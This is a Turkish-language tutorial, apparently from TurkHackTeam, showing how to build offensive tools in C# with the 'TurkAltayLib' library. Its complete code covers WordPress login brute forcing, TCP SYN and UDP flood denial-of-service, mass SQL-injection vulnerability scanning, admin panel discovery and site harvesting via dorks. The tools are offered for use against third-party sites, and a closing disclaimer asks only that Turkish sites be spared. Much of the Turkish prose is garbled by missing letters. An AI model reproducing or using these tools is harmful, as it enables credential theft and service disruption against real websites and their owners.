Türk-Altay Kütüphanesi Kullanımı

You might also like

Download as pdf or txt
Download as pdf or txt
You are on page 1of 26

Türk-Altay Kütüpha esi Kulla ı ı (v1.

0)
Kütüphanede Bulunan Araçlar:
-Dork Maker
-Arama Motoru
-Brute Force
-Denial of Service
-SQL Açık Tara a
-Admin Panel Bulucu
-We Araçları (Crawler, Reverse IP, Reverse DNS, Port Kontrol)
Türk-Altay kütüphanesini kullanmak için projemize TurkAltayLib.dll adlı dos a ı ekle e iz
gerekmektedir.

Bu u içi proje izde ge ellikle sağ tarafta ulu a Solution Explorer menüsünde
References’a sağ tıkla ıp Add Reference diyoruz.

Ardı da Browse menüsünden Browse apıp TurkAltayLib.dll dos ası ı seçi oruz. Ardı da
proje izi so görü ü ü aşağıdaki gi i ola aktır.
Türk-Altay Kütüpha esi İle Dork Maker Yapı ı
Projemize 3 adet textbox ve 1 adet buton ekli oruz. . Te t o a dorkları, 2. Textboxa dork
adedi i aza ağız. Buto a ası a . Te t o a dorkları ız oluşa ak.

Kodları ızı so hali aşağıdaki şekilde ola aktır:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using TurkAltayLib.DorkMaker;

namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}

private void button1_Click(object sender, EventArgs e)


{
Thread thread = new Thread(new ThreadStart(dorkUret));
CheckForIllegalCrossThreadCalls = false;
thread.Start();
}
private void dorkUret()
{
DorkMaker dorkmaker = new DorkMaker();
textBox3.Text = dorkmaker.DorkUret(textBox1.Text,
Convert.ToInt32(textBox2.Text));
}
}
}

Burada Thread kulla a ızı ede i Thread kulla adığı ız za a progra ı ara üzü de
do alar aşa ıla ile eğidir.

DorkUret(String dork, int adet, String site) Dork üret e fo ksi o u uzu ge el kulla ı ı
a daki gi idir. Eğer iste irse site dorku da kulla ıla ilir. (ör: US)
Progra ı çalıştırdığı ızda utto a asıldığı da dorkları ız oluş aktadır.
Türk-Altay Kütüpha esi İle Ara a Motoru Yapı ı
Projemize 2 adet textbox, 1 adet button, 1 adet label ve 1 adet timer ekleyelim. 1. Textboxa
taranacak dorkları gire eğiz, uto a ası a dorklar tara ıp siteler . Te t o a aktarıla ak.
Ti er ile de işle üzdesi i la el’a aktara ağız. Ti er’ı i ter alı isteğe ağlı olarak
a arla a ilir. s olarak a arladıkta so ra kodları ızı so şekli aşağıdaki gi i ol aktadır.

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using TurkAltayLib.AramaMotoru;

namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
AramaMotoru arama = new AramaMotoru();

public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
Thread thread = new Thread(new ThreadStart(tara));
CheckForIllegalCrossThreadCalls = false;
thread.Start();
timer1.Start();
}
public void tara()
{
textBox2.Text = arama.SiteTara(textBox2.Text, true, 1, 10, 60000);
}
private void timer1_Tick(object sender, EventArgs e)
{
label1.Text = arama.IslemYuzdesi();
}
}
}

Burada Thread kulla a ızı ede i Thread kulla adığı ız za a progra ı ara üzü de
do alar aşa ıla ile eğidir.
SiteTara(String dork, Boolean uzantisizLink, int minKanal, int maxKanal, int zamanAsimi)

Ara a otoru fo ksi o u uzu ge el kulla ı ı ukarıdaki gibidir.


Tara a aptıkta so ra siteleri iz te t o a aktarıl aktadır.
Türk-Altay Kütüpha esi İle Brute Force Yapı ı (Wordpress)

Projemize 4 adet textbox, 2 adet label, 1 adet button ve 1 adet timer ekli oruz. Bu ları
göre leri aşağıdaki gi i ola aktır.

textBox1 => Brute For e apa ağı ız siteleri iz

textBox2 => Sitelere girile ek kulla ı ı adları

textBox3 => Sitelere girile ek şifreler

textBox4 => Şifresi kırıla siteler

Timer1 => Logları e işlenen bilgisini alabilmemiz için gerekiyor.

Proje izi kodları ı so hali aşağıdaki gi i ol aktadır.

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using TurkAltayLib.BruteForce;

namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
BruteForce bf = new BruteForce();

public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
bf.BruteForceBaslat(textBox1.Text, textBox2.Text, textBox3.Text, 1);
timer1.Start();
}
private void timer1_Tick(object sender, EventArgs e)
{
label1.Text = bf.Loglar();
label2.Text = bf.Islenen();
textBox4.Text = bf.SifresiKirilan();
}
}
}
BruteForceBaslat(String siteler, String kullanici, String sifre, int yontem, int
zamanAsimi, Boolean rastgeleUserAgent)

Brute For e fo ksi o u uzu ge el kulla ı ı ukarıdaki gi idir. Kulla ı ı isterse


rastgeleUserAge t değeri i değiştire ilir. Varsa ıla True değeridir.

o te değişke i i aparsa ız arsa ıla a arda rute for e apa aktır. Eğer aparsa ız .
ö te i kulla arak rute for e apa aktır.

Progra ı ızı çalıştırdığı ızda so uç aşağıdaki gi i ol aktadır:

Burada şifre kırıl a ıştır.


Türk-Altay Kütüpha esi İle DoS Ara ı Yapı ı
Türk-Alta kütüpha esi kulla ılarak çeşit De ial of Ser i e saldırı ara ı apıla il ektedir.
Bunlardan biri TCP saldırı, diğeri UDP saldırı ap aktadır.

TCP SYN FLOOD SALDIRISI


Projemize 2 adet textbox, 3 adet numericupdown, 2 adet label, 1 adet button ve 1 adet timer
ekliyoruz.

textBox1 => Saldırıla ak site | textBox2 => Port

numericUpDown1 => Gönderilecek paket boyutu

numericUpDown2 => Thread sa ısı | numericUpDown3 => Socket sayısı

Kodları ızı so hali aşağıdaki gi i ol aktadır:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using TurkAltayLib.DenialOfService;

namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
TCPFlood tcp = new TCPFlood();
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
tcp.SynFloodBaslat(tcp.SiteIpBul(textBox1.Text),
Convert.ToInt32(textBox2.Text), (int) numericUpDown1.Value, (int) numericUpDown2.Value,
(int)numericUpDown3.Value, 0);
timer1.Start();
}
private void timer1_Tick(object sender, EventArgs e)
{
label1.Text = tcp.Loglar();
label2.Text = tcp.Islenen();
}
}
}
SynFloodBaslat(String hedef, int port, int paketBoyutu,int threadSayisi, int
socketSayisi, int beklemeSuresi, Boolean rastgelePort, Boolean rastgelePaketBoyutu)

T p saldırı fo ksi o u u ge el kulla ı ı ukarıdaki gi idir. rastgelePort e rastgelePaket


o utu değişke leri i arsa ıla değeri False’dır. Eğer iste ilirse u değerler True apıla ilir.

tcp.SynFloodBaslat(tcp.SiteIpBul textBox1.Text ,……

A rı a ukarıdaki kodlarda görüldüğü üzere T p saldırıda SiteIpBul adlı ir fo ksi o


ulu aktadır. Bu fo ksi o kulla ılarak site i ip’si ulu uştur.

Progra ı çalıştırıp aşlattığı ızda so uç aşağıdaki gi i ol aktadır:


UDP SALDIRILARI
UDP seri e se kro ize ol ak üzere iki saldırı apıla ilir. Bu saldırıları for ele a ları ve
kulla ı ı T p saldırısı ile a ıdır. Udp saldırısı da da siteIpBul fonksiyonu mevcuttur.

UDP Seri Saldırı:


using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using TurkAltayLib.DenialOfService;

namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
UDPFlood udp = new UDPFlood();
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
udp.SeriSaldiriBaslat(udp.SiteIpBul(textBox1.Text),
Convert.ToInt32(textBox2.Text), (int) numericUpDown1.Value, (int) numericUpDown2.Value,
(int)numericUpDown3.Value, 0);
timer1.Start();
}
private void timer1_Tick(object sender, EventArgs e)
{
label1.Text = udp.Loglar();
label2.Text = udp.Islenen();
}
}

}
UDP Senkronize Saldırı:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using TurkAltayLib.DenialOfService;

namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
UDPFlood udp = new UDPFlood();
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
udp.SenkronizeSaldiriBaslat(udp.SiteIpBul(textBox1.Text),
Convert.ToInt32(textBox2.Text), (int) numericUpDown1.Value, (int) numericUpDown2.Value,
(int)numericUpDown3.Value, 0);
timer1.Start();
}
private void timer1_Tick(object sender, EventArgs e)
{
label1.Text = udp.Loglar();
label2.Text = udp.Islenen();
}
}
}

Görüldüğü üzere her üç saldırı türü de aşağıdaki gi i kulla ıl aktadır.


tcp.SynFloodBaslat(…

udp.SeriSaldiriBaslat(…

udp.SenkronizeSaldiriBaslat(…
Türk-Altay Kütüpha esi İle SQL Açık Tarayı ı Yapı ı
Projemize 2 adet textbox, 3 adet label, 1 adet button ve 1 adet timer ekliyoruz.

textBox1 => Taranacak siteler

textBox2 => Açık ulu a siteler

timer1 => Loglar, işle e e üzde değerleri i la el , la el e la el ’e aktar ak içi


kulla ıl ıştır.

Proje izi kodları ı so hali aşağıdaki şekilde ol aktadır:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using TurkAltayLib.SqlScanner;

namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
SQLScanner sql = new SQLScanner();
public Form1()
{
InitializeComponent();
}

private void button1_Click(object sender, EventArgs e)


{
sql.SqlAcikTaramaBaslat(textBox1.Text);
timer1.Start();
}
private void timer1_Tick(object sender, EventArgs e)
{
label1.Text = sql.Loglar();
label2.Text = sql.Islenen();
label3.Text = sql.Yuzde();
textBox2.Text = sql.AcikBulunanlar();
}
}
}
SqlAcikTaramaBaslat(String siteler, Boolean hatayiGoster)

SQL açık tara a fo ksi o u u ge el kulla ı ı ukarıdaki gi idir. hata iGoster değişke i i
arsa ıla değeri false’dur.

Progra ı ızı çalıştırıp tara dediği izde so uç aşağıdaki gi i ol aktadır:

Görüldüğü üzere ta e sitede SQL açığı tespit edil iştir.


Türk-Altay Kütüpha esi İle Ad i Pa el Bulu u Yapı ı
Projemize 2 adet textbox, 2 adet label, 1 adet button ve 1 adet timer ekliyoruz.

textBox1 => Taranacak site(ler)

textBox2 => Paneli bulunan siteler

timer1 => Loglar ve işle e erileri i la el e la el ’ e aktar ak içi kulla ıl ıştır.

Proje izi kodları ı so hali aşağıdaki gi idir:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using TurkAltayLib.AdminPanelBulucu;

namespace WindowsFormsApplication4
{
public partial class Form1 : Form
{
AdminPanelBulucu ap = new AdminPanelBulucu();

public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
ap.AdminPanelBul(textBox1.Text, true);
timer1.Start();
}
private void timer1_Tick(object sender, EventArgs e)
{
label1.Text = ap.Loglar();
label2.Text = ap.Islenen();
textBox2.Text = ap.PanelBulunan();
}
}
}
AdminPanelBul(String siteler, Boolean hizliTarama, String paneller)

Ad i pa el ul a fo ksi o u u ge el kulla ı ı ukarıdaki gi idir. Hizlitara a değişke i i


arsa ıla değeri false’dur. Pa eller değişke i eri e herha gi ir Stri g azıl adığı da
program kütüphanenin panel listesini kullan aktadır. Yukarıdaki ör ekte de ö le apıl ıştır.

Aşağıda ör ek ir site i ad i pa eli ulu uştur:


Türk-Altay Kütüpha esi İle We Araçları Yapı ı
Cra ler Yapı ı
Projemize 2 adet textbox, 1 adet label, 1 adet button ve 1 adet timer ekliyoruz.

textBox1 => Ana sitemiz

textBox2 => Crawler sonucu siteler

Projemizin kodları:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using TurkAltayLib.WebAraclari;

namespace WindowsFormsApplication5
{
public partial class Form1 : Form
{
Crawler crawler = new Crawler();
public Form1()
{
InitializeComponent();
}

private void button1_Click(object sender, EventArgs e)


{
crawler.CrawlerBaslat(textBox1.Text);
timer1.Start();
}

private void timer1_Tick(object sender, EventArgs e)


{
label1.Text = crawler.Loglar();
textBox2.Text = crawler.Siteler();
}
}
}
Görüldüğü üzere ordpress. o sitesi altı daki li kler çekil iştir.

Cra ler’ı CrawlerBaslat’da aşka ir fo ksi o u ulu a aktadır.


Re erse IP Ara ı Yapı ı
Projemize 2 adet textbox, 1 adet label, 1 adet button ve 1 adet timer ekliyoruz.

textBox1 => Ana sitemiz

textBox2 => Reverse IP sonucu

Proje izi kodları:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using TurkAltayLib.WebAraclari;

namespace WindowsFormsApplication5
{
public partial class Form1 : Form
{
ReverseIP reverse = new ReverseIP();
public Form1()
{
InitializeComponent();
}

private void button1_Click(object sender, EventArgs e)


{
Thread revv = new Thread(new ThreadStart(Reverse));
CheckForIllegalCrossThreadCalls = false;
revv.Start();
timer1.Start();

}
public void Reverse()
{
textBox2.Text = reverse.ReverseIPSorgula(textBox1.Text);
}
private void timer1_Tick(object sender, EventArgs e)
{
label1.Text = reverse.Loglar();
}
}
}

Burada Thread kulla a ızı ede i Thread kulla adığı ız za a progra ı ara üzü de
do alar aşa ıla ile eğidir.
Progra ı ız çalıştırıldığı da so uç aşağıdaki gi i ol aktadır:
Re erse DNS Ara ı Yapı ı
Projemize 2 adet textbox, 1 adet label, 1 adet button ve 1 adet timer ekliyoruz.

textBox1 => Ana sitemiz

textBox2 => Reverse DNS sonucu

Proje izi kodları:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using TurkAltayLib.WebAraclari;

namespace WindowsFormsApplication5
{
public partial class Form1 : Form
{
ReverseDNS reversedns = new ReverseDNS();
public Form1()
{
InitializeComponent();
}

private void button1_Click(object sender, EventArgs e)


{
textBox2.Text = reversedns.ReverseDNSSorgula(textBox1.Text);
timer1.Start();
}

private void timer1_Tick(object sender, EventArgs e)


{
label1.Text = reversedns.Loglar();
}

}
}
Re erse DNS sorguladığı ızda:
Port Ko trol Ara ı Yapı ı
Projemize 2 adet textbox, 2 adet label, 1 adet button ve 1 adet timer ekliyoruz.

textBox1 => Kontrol edilecek sitemiz

textBox2 => Kontrol edilecek port

label2 => Kontrol işle i so u u

Proje izi kodları:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using TurkAltayLib.WebAraclari;

namespace WindowsFormsApplication5
{
public partial class Form1 : Form
{
PortKontrol portkontrol = new PortKontrol();
public Form1()
{
InitializeComponent();
}

private void button1_Click(object sender, EventArgs e)


{
Thread port = new Thread(new ThreadStart(PortKontrol));
CheckForIllegalCrossThreadCalls = false;
port.Start();
timer1.Start();
}
public void PortKontrol()
{
label2.Text = portkontrol.PortKontrolEt(textBox1.Text,
Convert.ToInt32(textBox2.Text));
}
private void timer1_Tick(object sender, EventArgs e)
{
label1.Text = portkontrol.Loglar();
}

}
}
Ör ek ir sitede port ko trol ettiği izde:

Kulla ıla ak Araçlara Göre Ta ı la alar

Dork Maker => using TurkAltayLib.DorkMaker;

Arama Motoru => using TurkAltayLib.AramaMotoru;

Brute Force => using TurkAltayLib.BruteForce;

Denial of Service => using TurkAltayLib.DenialOfService;

SQL Açık Tara a => using TurkAltayLib.SqlScanner;

Admin Panel Bulucu => using TurkAltayLib.AdminPanelBulucu;

Web Araçları => using TurkAltayLib.WebAraclari;


Bu doküman KeyLo99 tarafı da Türk-Altay
kütüpha esi i kulla ı ı ı öğret ek a a ı ile
hazırla ıştır. Kütüphane veya Türk-Altay
progra ı kulla ılarak erile hiç ir zararda
KeyLo99 veya TurkHackTeam soru lu değildir.
Lütfen Türk sitelerine zarar vermeyiniz.

TurkHackTeam.org

You might also like